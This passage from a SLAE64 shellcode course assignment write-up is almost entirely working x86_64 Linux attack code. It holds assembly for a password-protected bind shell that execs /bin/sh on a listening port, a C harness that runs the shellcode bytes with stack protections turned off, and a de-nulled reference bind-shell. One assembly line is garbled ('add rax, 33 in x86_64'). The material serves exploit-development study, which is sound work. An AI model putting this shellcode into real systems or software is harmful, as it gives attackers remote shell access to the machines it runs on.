; rdx : size_t count : how big
xor rax, rax ; zero out rax
mov rdi, rax ; zero out rdi
mov rdx, rax ; zero out rdx
; leave rax alone since read is 0
mov rsi, rsp ; set buffer to stack
add rdx, 8 ; setting size of Password
syscall ; calling read
mov rdi, rsp ; setting rdi to input buffer
mov rax, 0x64726f7773736150 ; moving Password into buffer
scasd ; scanning for a match
jne checkpassword ; if not a match then re-ask for password
; sys_execve
; rax : sys_execve 59
; rdi : const char *filename
; rsi : const char *const argv[]
; rdx : const char *const envp[]
xor rax, rax ; zeroing out rax
add rax, 59 ; setting rax to sys_execve
xor r9, r9 ; zeroing out r9
push r9 ; pushing null to stack
mov rbx, 0x68732f6e69622f2f ; moving "//bin/sh"
push rbx ; pushing "//bin/sh"
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;rsp now looks like: "//bin/sh,0x0000000000000000";
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
mov rdi, rsp ; moving the param to rdi
; rdi now contains "//bin/sh,0x0000000000000000"
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; now we look like: execve("//bin/sh,0x0000000000000000", NOT-SET-YET, NOT-SET-YET);
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; now we need to get 0x0000000000000000 into rdx
push r9 ; r9 is still 0x0000000000000000 so push it to rsp
mov rdx, rsp ; we need to move a 0x0000000000000000 into
; the third parameter in rdx
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; now we look like: execve("//bin/sh,0x0000000000000000", NOT-SET-YET, 0x0000000000000000);
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; the second parameter is needs to be "//bin/sh,0x0000000000000000"
; which we can accomplish by moving rdi onto the stack
; and then moving rsp into rsi since it will be on the stack
push rdi ; pushing "//bin/sh,0x0000000000000000" back to the stack
mov rsi, rsp ; moving the address of rdi (on the stack) to ecx
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; now we look like: execve("//bin/sh,0x00000000000000000", *"//bin/sh,0x0000000000000000", 0x0000000000000000);
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
syscall ; calling sys_execve
https://github.com/securitychops/security-tube-slae64/blob/master/assignment-1/shell-bind.nasm
Final C Program To Execute Shellcode (Part 1)
// Student ID : SLAE64-1611
// Student Name : Jonathan "Chops" Crosby
// Assignment 1 : Shell Bind TCP (Linux/x86_64) Assembly
// File Name : shellcode.c
#include<stdio.h>
#include<string.h>
//compile with: gcc shellcode.c -o shellcode -fno-stack-protector -z execstack
unsigned char code[] = \
"\xeb\x28\x45\x6e\x74\x65\x72\x20\x74\x68\x65\x20\x73\x65\x63\x72\x65\x74\x20\x70\x61\x73\x73\x77\x6f\x72\x64\x20\x74\x6f\x20\x63\x6f\x6e\x74\x69\x6e\x75\x65\x3a\x20\x0a\x48\x31\xc0\x48\x89\xc7\x48\x89\xfe\x48\x89\xf2\x48\x83\xc0\x29\x48\x83\xc7\x02\x48\x83\xc6\x01\x0f\x05\x48\x97\x48\x31\xc0\x48\x89\xc6\x48\x89\xf2\x4d\x31\xc9\x41\x51\x66\x68\x11\x5c\x66\x6a\x02\x48\x89\xe6\x48\x83\xc2\x10\x48\x83\xc0\x31\x0f\x05\x48\x31\xc0\x48\x89\xc2\x48\x83\xc2\x01\x48\x83\xc0\x32\x0f\x05\x48\x31\xc0\x48\x89\xc6\x48\x89\xc2\x48\x83\xc0\x2b\x0f\x05\x48\x97\x4d\x31\xc9\x48\x31\xc0\x48\x83\xc0\x21\x4c\x89\xce\x0f\x05\x49\xff\xc1\x49\x83\xf9\x03\x75\xeb\x48\x31\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc7\x48\x8d\x35\x4e\xff\xff\xff\x48\x83\xc2\x27\x0f\x05\x48\x31\xc0\x48\x89\xc7\x48\x89\xc2\x48\x89\xe6\x48\x83\xc2\x08\x0f\x05\x48\x89\xe7\x48\xb8\x50\x61\x73\x73\x77\x6f\x72\x64\xaf\x75\xc5\x48\x31\xc0\x48\x83\xc0\x3b\x4d\x31\xc9\x41\x51\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x41\x51\x48\x89\xe2\x57\x48\x89\xe6\x0f\x05";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
https://github.com/securitychops/security-tube-slae64/blob/master/assignment-1/shellcode.c
Their Bind Shell Assembly Code After We DeNulled It in x86_64 (Part 2)
global _start
_start:
; sock = socket(AF_INET, SOCK_STREAM, 0)
; AF_INET = 2
; SOCK_STREAM = 1
; syscall number 41
xor rax, rax
mov rdi, rax
mov rsi, rax
mov rdx, rax
add rax, 41
add rdi, 2
inc rsi
syscall
; copy socket descriptor to rdi for future use
mov rdi, rax
; server.sin_family = AF_INET
; server.sin_port = htons(PORT)
; server.sin_addr.s_addr = INADDR_ANY
; bzero(&server.sin_zero, 8)
xor rax, rax
push rax
mov dword [rsp-4], eax
mov word [rsp-6], 0x5c11
mov word [rsp-8], 0x2
sub rsp, 8
; bind(sock, (struct sockaddr *)&server, sockaddr_len)
; syscall number 49
xor rax, rax
mov rdx, rax
add rax, 49
mov rsi, rsp
add rdx, 16
syscall
; listen(sock, MAX_CLIENTS)
; syscall number 50
xor rax, rax
mov rsi, rax
add rax, 50
add rsi, 2
syscall
; new = accept(sock, (struct sockaddr *)&client, &sockaddr_len)
; syscall number 43
xor rax, rax
mov rsi, rax
add rax, 43
sub rsp, 16
mov rsi, rsp
mov byte [rsp-1], 16
sub rsp, 1
mov rdx, rsp
syscall
; store the client socket description
mov r9, rax
; close parent
xor rax, rax
add rax, 3
syscall
; duplicate sockets
; dup2 (new, old)
mov rdi, r9
xor rax, rax
mov rsi, rax
add rax, 33
syscall
add rax, 33
add rsi, 1
syscall
xor rax, rax
mov rsi, rax
add rax, 33 in x86_64
add rsi, 2
syscall
; execve
; First NULL push
xor rax, rax
push rax
; push /bin//sh in reverse
mov rbx, 0x68732f2f6e69622f
push rbx
; store /bin//sh address in RDI
mov rdi, rsp
; Second NULL push
push rax
; set RDX
mov rdx, rsp
; Push address of /bin//sh
push rdi
; set RSI
mov rsi, rsp
; Call the Execve syscall
add rax, 59
syscall